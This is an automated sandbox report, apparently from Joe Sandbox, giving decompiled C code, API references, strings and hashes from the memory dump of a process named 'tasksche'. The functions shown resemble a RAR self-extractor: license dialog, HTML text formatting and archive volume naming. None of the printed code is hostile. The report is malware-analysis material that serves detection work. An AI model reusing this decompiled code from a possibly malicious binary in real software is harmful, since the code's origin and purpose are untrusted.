_wcscpy.LIBCMT ref: 0040F171
_wcschr.LIBCMT ref: 0040F17F
_wcscpy.LIBCMT ref: 0040F19F
_wcscpy.LIBCMT ref: 0040F229
_wcscpy.LIBCMT ref: 0040F2E1
_wcscpy.LIBCMT ref: 0040F35E

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

SHChangeNotify.SHELL32(00001000,00000005,00000000,00000000), ref: 0040F3F0

Strings

", xrefs: 0040F157
.lnk, xrefs: 0040F321, 0040F331

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$ChangeNotify_wcschr_wcsncpy
String ID: "$.lnk
API String ID: 1911921660-4024015082
Opcode ID: bb3ca6cd81c2d3ad9077df71b8a1193f574709db9a1feafa84c70d00a6701fe0
Instruction ID: e9d5912a6b4b3542aee3cadb88dbd3b5a863ff0206024957ce050cac0ef3000c
Opcode Fuzzy Hash: bb3ca6cd81c2d3ad9077df71b8a1193f574709db9a1feafa84c70d00a6701fe0
Instruction Fuzzy Hash: 5191227280022899DF35DBA5CC49EEEB37CBB44304F4405BBE509F7181EB789AD98B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEC9 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131windowCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?), ref: 0040EEE6

Part of subcall function 0040A116: _wcslen.LIBCMT ref: 0040A11C
Part of subcall function 0040A116: _wcscat.LIBCMT ref: 0040A13B

_swprintf.LIBCMT ref: 0040EF22

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

SetDlgItemTextW.USER32 ref: 0040EF44
_wcschr.LIBCMT ref: 0040EF77
_wcscpy.LIBCMT ref: 0040EFBB
_wcscpy.LIBCMT ref: 0040EFE4
_wcscpy.LIBCMT ref: 0040EFF7
MessageBoxW.USER32(?,00000000,00000000,00000024), ref: 0040F027
EndDialog.USER32(?,00000001), ref: 0040F049

Strings

%s%s%d, xrefs: 0040EEFF, 0040EF19

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$DialogItemMessagePathTempText__vswprintf_c_l_swprintf_wcscat_wcschr_wcslen
String ID: %s%s%d
API String ID: 1897388972-1000756122
Opcode ID: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction ID: 7c5ef0a1406295de31e953a15a9408ca88d5d0b5476cb7747de3243763a4baae
Opcode Fuzzy Hash: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction Fuzzy Hash: 325176728001199BDB21DF61DC44BEE77B8FB04308F0445BBEA09E7191E7789AE98F59

Uniqueness

Uniqueness Score: -1.00%

Function 004191D8 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004191D8(void* __ebx, void* __eflags, short* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __edi;
				void* __esi;
				void* __ebp;
				short* _t32;
				signed int _t33;
				signed int _t41;
				void* _t51;
				void* _t52;
				short* _t53;
				short* _t55;
				short* _t57;

				_push(_t43);
				_t57 = _a4;
				_push(_t52);
				_t53 = E0041CF3E(__ebx, _t51, _t52, 0x200 + E0041A7AF(_t57) * 0xc);
				_v12 = _t53;
				if(_t53 != 0) {
					_push(__ebx);
					E0041A7F7(_t53, L"<style>body{font-family:\"Arial\";font-size:12;}</style>");
					_t41 = E0041A7AF(_t53);
					__eflags =  *_t57;
					while(__eflags != 0) {
						_t33 = E00411E81(__eflags, _t57, L"\r\n\r\n", 4);
						__eflags = _t33;
						if(_t33 != 0) {
							__eflags = _t57 - _a4;
							if(_t57 <= _a4) {
								L13:
								 *((short*)(_t53 + _t41 * 2)) =  *_t57;
								_t41 = _t41 + 1;
								__eflags = _t41;
							} else {
								__eflags =  *_t57 - 0x20;
								if( *_t57 != 0x20) {
									goto L13;
								} else {
									__eflags =  *((short*)(_t57 - 2)) - 0x20;
									if( *((short*)(_t57 - 2)) != 0x20) {
										goto L13;
									} else {
										E0041A7F7(_t53 + _t41 * 2, L"&nbsp;");
										_t41 = _t41 + 6;
									}
								}
							}
						} else {
							_t55 = _t57 + 4;
							__eflags =  *_t55 - 0xd;
							if( *_t55 == 0xd) {
								_v8 = _v12 + _t41 * 2;
								while(1) {
									__eflags =  *((short*)(_t57 + 6)) - 0xa;
									if( *((short*)(_t57 + 6)) != 0xa) {
										goto L8;
									}
									E0041A7F7(_v8, L"<br>");
									_v8 = _v8 + 8;
									_t57 = _t55;
									_t55 = _t57 + 4;
									_t41 = _t41 + 4;
									__eflags =  *_t55 - 0xd;
									if( *_t55 == 0xd) {
										continue;
									}
									goto L8;
								}
							}
							L8:
							_t53 = _v12;
							_t57 = _t57 + 2;
						}
						_t57 = _t57 + 2;
						__eflags =  *_t57;
					}
					_push(_a4);
					__eflags = 0;
					 *((short*)(_t53 + _t41 * 2)) = 0;
					E0041A506(_t41, _t53, _t57, 0);
					_t32 = _t53;
				} else {
					_t32 = _t57;
				}
				return _t32;
			}

0x004191dc
0x004191de
0x004191e1
0x004191f6
0x004191fa
0x004191ff
0x00419208
0x0041920f
0x0041921a
0x00419221
0x00419225
0x00419233
0x00419238
0x0041923a
0x0041927d
0x00419280
0x004192a4
0x004192a7
0x004192ab
0x004192ab
0x00419282
0x00419282
0x00419286
0x00000000
0x00419288
0x00419288
0x0041928d
0x00000000
0x0041928f
0x00419298
0x0041929f
0x0041929f
0x0041928d
0x00419286
0x0041923c
0x0041923c
0x0041923f
0x00419243
0x0041924b
0x0041924e
0x0041924e
0x00419253
0x00000000
0x00000000
0x0041925d
0x00419262
0x00419266
0x00419268
0x0041926c
0x0041926f
0x00419274
0x00000000
0x00000000
0x00000000
0x00419274
0x0041924e
0x00419276
0x00419276
0x0041927a
0x0041927a
0x004192ad
0x004192ae
0x004192ae
0x004192b8
0x004192bb
0x004192bd
0x004192c1
0x004192c7
0x00419201
0x00419201
0x00419201
0x004192cd

APIs

_wcslen.LIBCMT ref: 004191E3
_malloc.LIBCMT ref: 004191F1

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 0041920F
_wcslen.LIBCMT ref: 00419215
_wcscpy.LIBCMT ref: 0041925D

Strings

<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00419209
, xrefs: 0041922D
<br>, xrefs: 00419255
 , xrefs: 00419292

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen$AllocateHeap_malloc
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2405444336-406990186
Opcode ID: 4b4a1cae5e7a93affbfc5e59a2b65d92d146fa889393bb29aeeeda0ea8609ab4
Instruction ID: 0e02d37120f5dc5c9773bcbd7ae744d1444ccd80410fa70afd17435bf81929d8
Opcode Fuzzy Hash: 4b4a1cae5e7a93affbfc5e59a2b65d92d146fa889393bb29aeeeda0ea8609ab4
Instruction Fuzzy Hash: BF21FB76904304BBDB20AB54DC41ADAB3B4EF45314B20445BE455A7390E7BC9ED1839E

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBC1 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 82
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DBC1(void* __edx, void* __eflags, void* __fp0, signed int _a4) {
				struct HWND__* _v8;
				intOrPtr _v24;
				intOrPtr _v28;
				void _v32;
				short _v4128;
				void* _t16;
				struct HWND__* _t17;
				void* _t27;
				void* _t35;
				struct HWND__* _t37;
				void* _t41;
				void* _t42;
				void* _t52;

				_t52 = __fp0;
				_t42 = __eflags;
				_t35 = __edx;
				E0041AAF0(0x101c);
				_t16 = E00419E56(_t42);
				if(_t16 == 0) {
					return _t16;
				}
				_t17 = GetWindow(_a4, 5);
				_a4 = _a4 & 0x00000000;
				_t37 = _t17;
				_v8 = _t37;
				if(_t37 == 0) {
					L12:
					return _t17;
				} else {
					while(_a4 < 0x200) {
						GetClassNameW(_t37,  &_v4128, 0x800);
						if(E00411E60( &_v4128, L"STATIC") == 0 && (GetWindowLongW(_t37, 0xfffffff0) & 0x0000001f) == 0xe) {
							_t41 = SendMessageW(_t37, 0x173, 0, 0);
							if(_t41 != 0) {
								GetObjectW(_t41, 0x18,  &_v32);
								_t27 = E00419E13(_v24);
								SendMessageW(_t37, 0x172, 0, E00419EA0(_t35, _t52, _t41, E00419DD0(_v28), _t27));
								if(_t41 !=  *0x439818) {
									DeleteObject(_t41);
								}
							}
						}
						_t17 = GetWindow(_t37, 2);
						_t37 = _t17;
						if(_t37 != _v8) {
							_a4 =  &(_a4->i);
							if(_t37 != 0) {
								continue;
							}
						}
						break;
					}
					goto L12;
				}
			}

0x0040dbc1
0x0040dbc1
0x0040dbc1
0x0040dbc9
0x0040dbce
0x0040dbd5
0x0040dcb5
0x0040dcb5
0x0040dbe1
0x0040dbe7
0x0040dbeb
0x0040dbed
0x0040dbf2
0x0040dcb3
0x00000000
0x0040dbf8
0x0040dc00
0x0040dc1a
0x0040dc33
0x0040dc51
0x0040dc55
0x0040dc5e
0x0040dc67
0x0040dc85
0x0040dc8d
0x0040dc90
0x0040dc90
0x0040dc8d
0x0040dc55
0x0040dc99
0x0040dc9f
0x0040dca4
0x0040dca6
0x0040dcab
0x00000000
0x00000000
0x0040dcab
0x00000000
0x0040dca4
0x00000000
0x0040dcb2

APIs

GetWindow.USER32(?,00000005), ref: 0040DBE1
GetClassNameW.USER32 ref: 0040DC1A

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00409CA8,?,?,?,00409DC2,?,-00000002,?,00000000,?), ref: 00411E76

GetWindowLongW.USER32(00000000,000000F0), ref: 0040DC38
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0040DC4F
GetObjectW.GDI32(00000000,00000018,?), ref: 0040DC5E

Part of subcall function 00419E13: GetDC.USER32(00000000), ref: 00419E1F
Part of subcall function 00419E13: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00419E2E
Part of subcall function 00419E13: ReleaseDC.USER32 ref: 00419E3C

Part of subcall function 00419DD0: GetDC.USER32(00000000), ref: 00419DDC
Part of subcall function 00419DD0: GetDeviceCaps.GDI32(00000000,00000058), ref: 00419DEB
Part of subcall function 00419DD0: ReleaseDC.USER32 ref: 00419DF9

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0040DC85
DeleteObject.GDI32(00000000), ref: 0040DC90
GetWindow.USER32(00000000,00000002), ref: 0040DC99

Strings

p["u k"u, xrefs: 0040DC90
STATIC, xrefs: 0040DC20

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC$p["u k"u
API String ID: 1444658586-3151628066
Opcode ID: 9567939a25e22092ccbfb99d506bbc14daa15c8c25c728e04901b5a25124ff52
Instruction ID: 65505d2462e9bd66d8f24c48bff8a2f322d46b7930d969d63ebb67ecbc3f0dac
Opcode Fuzzy Hash: 9567939a25e22092ccbfb99d506bbc14daa15c8c25c728e04901b5a25124ff52
Instruction Fuzzy Hash: B321F132A40204BBEB21AB90CC46FEF77B8AF41B50F404026FD04B61C1CBB89D86D66D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F47B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 96
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040F47B(void* __ecx, void* __edx, void* __esi, void* __eflags, void* __fp0, struct HWND__* _a4, struct HWND__* _a8, signed short _a12, intOrPtr _a16) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t14;
				long _t15;
				long _t16;
				struct HWND__* _t18;
				void* _t32;
				struct HWND__* _t34;
				void* _t36;
				void* _t41;
				void* _t42;
				void* _t49;

				_t49 = __fp0;
				_t38 = __edx;
				_t34 = _a4;
				if(E004060EE(__edx, _t34, _a8, _a12, _a16, L"LICENSEDLG", 0, 0) != 0) {
					L15:
					__eflags = 1;
					return 1;
				}
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t15 =  *0x43981c;
					_t41 = SendMessageW;
					__eflags = _t15;
					if(_t15 != 0) {
						SendMessageW(_t34, 0x80, 1, _t15);
					}
					_t16 =  *0x439818;
					__eflags = _t16;
					if(__eflags != 0) {
						SendDlgItemMessageW(_t34, 0x66, 0x172, 0, _t16);
					}
					E0040DBC1(_t38, __eflags, _t49, _t34);
					_t18 = GetDlgItem(_t34, 0x65);
					_a8 = _t18;
					SendMessageW(_t18, 0x435, 0, 0x10000);
					SendMessageW(_a8, 0x443, 0, GetSysColor(0xf));
					E0040E857(_t41, _t34,  *0x44184c, 3);
					_pop(_t42);
					__eflags =  *0x441854;
					if(__eflags == 0) {
						L13:
						_push(1);
						L14:
						EndDialog(_t34, ??);
					} else {
						SetForegroundWindow(_t34);
						_t36 =  *0x438810; // 0x19feac
						E00419A9D(_t36, __eflags,  *0x4335a4, _a8,  *0x441854, 0, 0);
						_push( *0x441854);
						E0041A506(_t34, 0, _t42, __eflags);
					}
					goto L15;
				}
				if(_t14 != 1) {
					L5:
					return 0;
				}
				_t32 = (_a12 & 0x0000ffff) - 1;
				if(_t32 == 0) {
					goto L13;
				}
				if(_t32 == 1) {
					_push(0);
					goto L14;
				}
				goto L5;
			}

0x0040f47b
0x0040f47b
0x0040f47f
0x0040f49d
0x0040f584
0x0040f586
0x00000000
0x0040f586
0x0040f4a6
0x0040f4ab
0x0040f4cb
0x0040f4d1
0x0040f4d7
0x0040f4d9
0x0040f4e4
0x0040f4e4
0x0040f4e6
0x0040f4eb
0x0040f4ed
0x0040f4f9
0x0040f4f9
0x0040f500
0x0040f508
0x0040f51a
0x0040f51d
0x0040f531
0x0040f53c
0x0040f541
0x0040f542
0x0040f548
0x0040f57b
0x0040f57b
0x0040f57d
0x0040f57e
0x0040f54a
0x0040f54b
0x0040f551
0x0040f568
0x0040f56d
0x0040f573
0x0040f578
0x00000000
0x0040f548
0x0040f4ae
0x0040f4be
0x00000000
0x0040f4be
0x0040f4b4
0x0040f4b5
0x00000000
0x00000000
0x0040f4bc
0x0040f4c5
0x00000000
0x0040f4c5
0x00000000

APIs

SendMessageW.USER32(?,00000080,00000001,?), ref: 0040F4E4
SendDlgItemMessageW.USER32 ref: 0040F4F9
GetDlgItem.USER32 ref: 0040F508
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0040F51D
GetSysColor.USER32(0000000F), ref: 0040F521
SendMessageW.USER32(?,00000443,00000000,00000000), ref: 0040F531
SetForegroundWindow.USER32(?,00000003), ref: 0040F54B
EndDialog.USER32(?,00000001), ref: 0040F57E

Strings

LICENSEDLG, xrefs: 0040F487

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$Item$ColorDialogForegroundWindow
String ID: LICENSEDLG
API String ID: 3794146707-2177901306
Opcode ID: d9c859b37e3cb600bcc19d133c3a45f80262450e0631c0b47ec7fe9b94556e21
Instruction ID: 7fefae372e04e04a7da23b2667bfd905224a5402d39c62195e2e2b0091848963
Opcode Fuzzy Hash: d9c859b37e3cb600bcc19d133c3a45f80262450e0631c0b47ec7fe9b94556e21
Instruction Fuzzy Hash: E521F9312002047BDB31AF61EC45E5B3B6DEB89B10F408436FE15B51E2D6798955CB2C

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF1D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0040BF1D(intOrPtr* __ecx, intOrPtr _a4, short* _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v24;
				char _v25;
				char _v4120;
				char _v8216;
				short* _t25;
				intOrPtr _t28;
				void* _t40;
				void* _t41;
				signed int _t42;
				void* _t52;
				void* _t55;
				intOrPtr* _t57;
				short* _t58;
				char* _t63;
				signed int _t68;
				void* _t72;
				intOrPtr _t73;
				signed int _t75;

				E0041AAF0(0x2014);
				_t57 = __ecx;
				if( *__ecx == 0) {
					L21:
					_t25 = _a8;
					if(_a4 == _t25) {
						L23:
						return _t25;
					}
					return E0041A7F7(_t25, _a4);
				}
				_t28 = _a16;
				_t63 = 0x42a73a;
				if(_t28 == 0) {
					_t63 = "s";
				} else {
					_t55 = _t28 - 1;
					if(_t55 == 0) {
						_t63 = "$";
					} else {
						if(_t55 == 1) {
							_t63 = "@";
						}
					}
				}
				_t72 = E00405610(0xffffffff, _t63, 1);
				if(_a20 != 0) {
					E00411AFD(_t63, _a20,  &_v8216, 0x1000);
					_t52 = E0041AA60( &_v8216);
					_pop(_t63);
					_t72 = E00405610(_t72,  &_v8216, _t52);
				}
				E00411AFD(_t63, _a4,  &_v4120, 0x1000);
				_v25 = 0;
				E0040BC16( &_v24, 0xa, L"%08x",  !(E00405610(_t72,  &_v4120, E0041AA60( &_v4120))));
				_t40 = E0040BB89(_t57,  &_v24);
				if(_t40 == 0) {
					goto L21;
				} else {
					_t14 = _t40 + 0x12; // 0x12
					_t58 = _t14;
					if( *_t58 == 0x22) {
						_t58 = _t58 + 2;
					}
					_t41 = E0041CA29(_t58, 0xc);
					if(_t41 == 0) {
						_t75 = 0xff;
					} else {
						_t75 = _t41 - _t58 >> 1;
					}
					_t42 = _a12;
					_t16 = _t42 - 1; // 0x4118d7
					_t68 = _t16;
					if(_t75 > _t68) {
						asm("sbb eax, eax");
						_t75 =  ~_t42 & _t68;
					}
					_t73 = _a8;
					if(_t75 > 0) {
						E0041C853(_t73, _t58, _t75);
					}
					 *((short*)(_t73 + _t75 * 2)) = 0;
					_t25 = E0041CA4F(_t73, 0x22);
					if(_t25 == 0) {
						goto L23;
					} else {
						 *_t25 = 0;
						return _t25;
					}
				}
			}

0x0040bf25
0x0040bf2b
0x0040bf32
0x0040c05b
0x0040c05b
0x0040c061
0x0040c072
0x0040c072
0x0040c072
0x00000000
0x0040c06d
0x0040bf3b
0x0040bf3e
0x0040bf43
0x0040bf59
0x0040bf45
0x0040bf45
0x0040bf46
0x0040bf52
0x0040bf48
0x0040bf49
0x0040bf4b
0x0040bf4b
0x0040bf49
0x0040bf46
0x0040bf6c
0x0040bf73
0x0040bf80
0x0040bf8c
0x0040bf91
0x0040bfa0
0x0040bfa0
0x0040bfad
0x0040bfb9
0x0040bfdf
0x0040bfed
0x0040bff4
0x00000000
0x0040bff6
0x0040bff6
0x0040bff6
0x0040bffd
0x0040c000
0x0040c000
0x0040c004
0x0040c00d
0x0040c017
0x0040c00f
0x0040c013
0x0040c013
0x0040c01c
0x0040c01f
0x0040c01f
0x0040c024
0x0040c028
0x0040c02c
0x0040c02c
0x0040c02e
0x0040c033
0x0040c038
0x0040c03d
0x0040c045
0x0040c049
0x0040c052
0x00000000
0x0040c054
0x0040c056
0x00000000
0x0040c056
0x0040c052

APIs

_strlen.LIBCMT ref: 0040BF8C
_strlen.LIBCMT ref: 0040BFBD
_swprintf.LIBCMT ref: 0040BFDF
_wcschr.LIBCMT ref: 0040C004
_wcsncpy.LIBCMT ref: 0040C038
_wcsrchr.LIBCMT ref: 0040C049
_wcscpy.LIBCMT ref: 0040C067

Strings

%08x, xrefs: 0040BFD4

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _strlen$_swprintf_wcschr_wcscpy_wcsncpy_wcsrchr
String ID: %08x
API String ID: 3224783807-3682738293
Opcode ID: 2200e9e523ffbcd5ccc4f85804e7305beb7f218704d283e0c38cbcae486b8257
Instruction ID: 07d0537aec3a1dd66ebb0c57739ff8632de72c66deae5d09d2d4ff76284a4df6
Opcode Fuzzy Hash: 2200e9e523ffbcd5ccc4f85804e7305beb7f218704d283e0c38cbcae486b8257
Instruction Fuzzy Hash: 4841E832500219AADB24AB64CC85AFF32ACDF40754F54413BB915E71C1DB7DDD80C6AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8A1 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A8A1(intOrPtr _a4, intOrPtr _a8, char _a12) {
				short _t13;
				short _t16;
				short _t19;
				signed short* _t20;
				signed int _t22;
				signed short _t23;
				intOrPtr* _t25;
				signed short _t27;
				short _t29;
				void* _t31;
				intOrPtr _t34;
				signed short* _t40;
				signed short _t41;
				signed short _t47;
				short* _t48;
				void* _t50;
				signed short* _t51;
				signed short* _t52;

				_t34 = _a4;
				_t50 = E0040A76A(_t34);
				_t54 = _t50;
				if(_t50 != 0) {
					_t3 = _t50 + 2; // 0x2
					_t48 = _t3;
					__eflags =  *_t48;
					if( *_t48 != 0) {
						L4:
						_t13 = E00411E60(_t48, L"exe");
						__eflags = _t13;
						if(_t13 == 0) {
							L6:
							E0041A7F7(_t48, L"rar");
							L7:
							_t55 = _a12;
							if(_a12 != 0) {
								_t10 = _t50 + 4; // 0x4
								_t49 = _t10;
								_t16 = E00410B6D( *_t10 & 0x0000ffff);
								__eflags = _t16;
								if(_t16 == 0) {
									L25:
									return E0041A7F7(_t49, L"00");
								}
								_t51 = _t50 + 6;
								_t19 = E00410B6D( *_t51 & 0x0000ffff);
								__eflags = _t19;
								if(_t19 == 0) {
									goto L25;
								}
								_t20 = _t51;
								while(1) {
									 *_t20 =  *_t20 + 1;
									__eflags = ( *_t20 & 0x0000ffff) - 0x3a;
									if(( *_t20 & 0x0000ffff) != 0x3a) {
										break;
									}
									_t11 = _t20 - 2; // -7
									_t40 = _t11;
									__eflags =  *_t40 - 0x2e;
									if( *_t40 == 0x2e) {
										_t41 = 0x41;
										 *_t20 = _t41;
										return _t20;
									}
									_t47 = 0x30;
									 *_t20 = _t47;
									_t20 = _t40;
								}
								return _t20;
							}
							_t52 = E0040A81E(_t55, _t34);
							while(1) {
								 *_t52 =  *_t52 + 1;
								_t22 =  *_t52 & 0x0000ffff;
								if(_t22 != 0x3a) {
									break;
								}
								_t23 = 0x30;
								 *_t52 = _t23;
								_t52 = _t52;
								__eflags = _t52 - _t34;
								if(_t52 < _t34) {
									L13:
									_t25 = _t34 + E0041A7AF(_t34) * 2;
									while(1) {
										__eflags = _t25 - _t52;
										if(_t25 == _t52) {
											break;
										}
										 *((short*)(_t25 + 2)) =  *_t25;
										_t25 = _t25;
										__eflags = _t25;
									}
									_t27 = 0x31;
									_t52[1] = _t27;
									return _t27;
								}
								_t29 = E00410B6D( *_t52 & 0x0000ffff);
								__eflags = _t29;
								if(_t29 == 0) {
									goto L13;
								}
							}
							return _t22;
						}
						__eflags = E00411E60(_t48, L"sfx");
						if(__eflags != 0) {
							goto L7;
						}
						goto L6;
					}
					_t31 = E0041A7AF(_t34);
					__eflags = _t31 - _a8 + 0xfffffffd;
					if(_t31 < _a8 + 0xfffffffd) {
						goto L6;
					}
					goto L4;
				}
				E00410BC9(_t54, _t34, L".rar", _a8);
				_t50 = E0040A76A(_t34);
				goto L7;
			}

0x0040a8a2
0x0040a8ae
0x0040a8b0
0x0040a8b2
0x0040a8cd
0x0040a8cd
0x0040a8d0
0x0040a8d4
0x0040a8e8
0x0040a8ee
0x0040a8f3
0x0040a8f5
0x0040a906
0x0040a90c
0x0040a913
0x0040a913
0x0040a918
0x0040a96d
0x0040a96d
0x0040a974
0x0040a979
0x0040a97b
0x0040a9b8
0x00000000
0x0040a9c4
0x0040a97d
0x0040a984
0x0040a989
0x0040a98b
0x00000000
0x00000000
0x0040a98d
0x0040a9a2
0x0040a9a2
0x0040a9a8
0x0040a9ac
0x00000000
0x00000000
0x0040a991
0x0040a991
0x0040a994
0x0040a998
0x0040a9b2
0x0040a9b3
0x00000000
0x0040a9b3
0x0040a99c
0x0040a99d
0x0040a9a0
0x0040a9a0
0x00000000
0x0040a9a2
0x0040a920
0x0040a93d
0x0040a93d
0x0040a940
0x0040a947
0x00000000
0x00000000
0x0040a926
0x0040a927
0x0040a92b
0x0040a92c
0x0040a92e
0x0040a94b
0x0040a952
0x0040a960
0x0040a960
0x0040a962
0x00000000
0x00000000
0x0040a95a
0x0040a95f
0x0040a95f
0x0040a95f
0x0040a966
0x0040a967
0x00000000
0x0040a967
0x0040a934
0x0040a939
0x0040a93b
0x00000000
0x00000000
0x0040a93b
0x00000000
0x0040a93d
0x0040a902
0x0040a904
0x00000000
0x00000000
0x00000000
0x0040a904
0x0040a8d7
0x0040a8e4
0x0040a8e6
0x00000000
0x00000000
0x00000000
0x0040a8e6
0x0040a8be
0x0040a8c9
0x00000000

APIs

Part of subcall function 0040A76A: _wcsrchr.LIBCMT ref: 0040A77E

_wcslen.LIBCMT ref: 0040A8D7
_wcscpy.LIBCMT ref: 0040A90C

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
